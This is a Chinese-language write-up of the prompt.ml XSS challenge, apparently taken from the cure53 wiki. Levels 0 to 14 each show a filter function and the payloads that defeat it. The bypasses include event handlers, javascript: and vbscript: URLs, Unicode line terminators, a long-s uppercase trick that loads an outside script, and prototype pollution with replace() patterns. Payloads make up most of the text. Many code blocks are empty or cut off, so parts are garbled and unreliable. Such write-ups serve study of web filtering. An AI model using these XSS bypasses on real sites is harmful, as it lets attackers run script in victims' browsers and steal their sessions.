xss挑战赛writeup

挑战地址:http://prompt.ml/0

from:https://github.com/cure53/xss-challenge-wiki/wiki/prompt.ml

规则:

  1. 成功执行 prompt(1)
  2. payload不需要用户交互
  3. payload必须对下述浏览器有效:
  • Chrome(最新版) – Firefox(最新版) – IE10 及以上版本(或者IE10兼容模式) 4. 每个级别至少给出两种浏览器的答案 5. 字符越少越好

Level 0


代码

[cce]#!js
function escape(input) {
// warm up
// script should be executed without user interaction
return ‘‘;
}
[/cce]

答案

[cce]#!html
“>
[/cce]

这个payload 24个字符。还有一个比较不常用的技巧,在IE10下,当页面第一次加载时,会调用resize事件,这个payload只有20个字符

[cce]#!js
“onresize=prompt(1)>
[/cce]

背景知识

resize事件在IE10及以下版本有效,IE11没有用。并且不需要用户交互。 更多信息:http://msdn.microsoft.com/en-us/library/ie/ms536959%28v=vs.85%29.aspx

Level 1


该级别实际是简单的过滤了>,需要绕过以下即可。

代码

[cce]#!js
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, ”);

return ‘

‘ + input + ‘

‘;
}
[/cce]

答案

[cce]#!html
注:译者使用js改版http://sectest.sinaapp.com/xss/level1.php,测试答案为

[cce]#!html
Level 2


该级别过滤了=(两种符号。

代码

[cce]#!js
function escape(input) {
// v– frowny face
input = input.replace(/[=(]/g, ”);

// ok seriously, disallows equal signs and open parenthesis
return input;
}
[/cce]

答案

Firefox 和IE下的答案(29个字符)

[cce]#!html
[/cce]

Chrome下需要script闭合标签,所以上述payload不成功。最短的答案如下(35个字符)

[cce]#!html
[/cce]

未来所有的浏览器支持ES6,还可以使用下述编码:

[cce]#!html

[/cce]

或者

[cce]#!html

[/cce]

背景知识

由于xml编码特性。在SVG向量里面的http://user:[email protected]是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http:[email protected]。所以域名越短,答案就越短。

代码

[cce]#!js
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
[/cce]

答案

[cce][email protected]/✌
[/cce]

Level 5


过滤了>,过滤了onXXX=,过滤了focus,所以不能使用autofocus。但是可以使用js的换行\n绕过onXXX=,IE下依然可以使用onresize

代码

[cce]#!js
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '';
}
[/cce]

答案: 一种答案是,可以提交设置typeimage,后面的type不能覆盖前面的设置。

[cce]#!js
"type=image src onerror
="prompt(1)
[/cce]

IE下可以使用更短的答案:

[cce]#!js
"onresize
="prompt(1)
[/cce]

Level 6


虽然有过滤,但是可以将输入插入到form表单的action中。

代码

[cce]#!js
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
\n\
';
} catch (e) {
return 'Invalid form data.';
}
}
[/cce]

答案

33个字符

[cce]#!js
javascript:prompt(1)#{"action":1}
[/cce]

IE下可以使用vbscript减少字符

[cce]#!js
vbscript:prompt(1)#{"action":1}
[/cce]

Level 7


可以使用js注释绕过。如下:

[cce]#!html

[/cce]

代码

[cce]#!js
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '

';
}).join('\n');
}
[/cce]

答案

34个字符:

[cce]#!html
">IE下31个字符

[cce]#!html
">
[/cce]

代码

[cce]#!js
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n \n\ // console.log("' + input + '"); \n\ ';
}
[/cce]

答案

Chrome和Firefox下 14个字符

[cce]#!js
[U+2028]prompt(1)[U+2028]-->
[/cce]

背景知识

比较奇怪的是,js中的换行符跟unicode中的不一致。另外,HTML代码的注释可以在Javascript中使用

Level 9


该题使用正则<([a-zA-Z]),导致无法注入HTML标签。但是toUpperCase()函数是支持Unicode函数。字符ſ经过函数toUpperCase()处理后,会变成ASCII码字符"S"。

代码

[cce]#!js
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1'); // use all-caps for heading input = input.toUpperCase(); // sample input: you shall not pass! => YOU SHALL NOT PASS!
return '

' + input + '

';
}
[/cce]

答案

26个字符通杀浏览器的答案

[cce]#!html
<ſcript/ſrc=//⒕₨>
[/cce]

或者使用async

[cce]#!html
<ſcript/async/src=//⒛₨>
[/cce]

Level 10


这个题目使用两个正则过滤。比较容易

代码

[cce]#!js
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return ' ';
}
[/cce]

答案

[cce]#!js
p'rompt(1)
[/cce]

Level 11


这个题目直接允许注入数据到script标签里面,但是过滤了特殊符号。这里的技巧是使用一个数据或者字母拥有操作符的功能,就是in

代码

[cce]#!js
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
';
}
[/cce]

答案

[cce]#!js
"(prompt(1))in"


[/cce]

背景知识

"test"(alert(1))虽然会提示语法错误, 但是还是会执行js语句。类似的alert(1)in"test"也是一样。可以在控制台下使用F12执行

Level 12


该题主要是利用toString()解答。eval可以直接执行字符串。如下:

[cce]#!js
parseInt("prompt",36); //1558153217
[/cce]

因此,

  • 可以使用eval((1558153217).toString(36))(1)

  • 还可以eval(1558153217..toString(36))(1)

  • 还可以eval(630038579..toString(30))(1)

代码

[cce]#!js
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return ' ';
}
[/cce]

答案

32个字符通杀所有浏览器

[cce]#!js
eval(630038579..toString(30))(1)

// Hexadecimal alternative (630038579 == 0x258da033):
eval(0x258da033.toString(30))(1)
[/cce]

还有一种比较暴力的方法是,通过循环执行self里面的函数,来查找prompt执行(firfox下测试有效)

[cce]#!js
for((i)in(self))eval(i)(1)
[/cce]

Level 13


这个题目涉及到js中的__proto__,每个对象都会在其内部初始化一个属性,就是__proto__,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去__proto__里面找这个属性,这个__proto__又会有自己的__proto__,一直这样找下去。可以再Chrome控制台中测试:

[cce]#!js
config = {
"source": "_-_invalid-URL_-_",
"__proto__": {
"source": "my_evil_payload"
}
}
[/cce]

输入

[cce]#!js
delete config.source
config.source
[/cce]

返回

[cce]my_evil_payload
[/cce]

还有一个技巧是,replace()这个函数,他还接受一些特殊的匹配模式https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#Description 翻译如下:

[cce]$` 替换查找的字符串,并且在头部加上比配位置前的字符串部分
[/cce]

举个例子就是:

[cce]'123456'.replace('34','$`xss')
[/cce]

返回

[cce]'1212xss56'
[/cce]

代码

[cce]#!js
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) { source = arguments[i]; for (prop in source) { obj[prop] = source[prop]; } } return obj; } // a simple picture plugin try { // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"} var data = JSON.parse(input); var config = extend({ // default image source source: 'http://placehold.it/350x150' }, JSON.parse(input)); // forbit invalid image source if (/[^\w:\/.]/.test(config.source)) { delete config.source; } // purify the source by stripping off " var source = config.source.replace(/"/g, ''); // insert the content using mustache-ish template return ''.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
[/cce]

答案

59个字符,通杀所有浏览器

[cce]#!js
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}
[/cce]

Level 14


这个题目使用base64绕过。

代码

[cce]#!js
function escape(input) {
// I expect this one will have other solutions, so be creative 🙂
// mspaint makes all file names in all-caps 🙁
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '';
}
[/cce]

答案

firfox下94个字符

[cce]#!html
">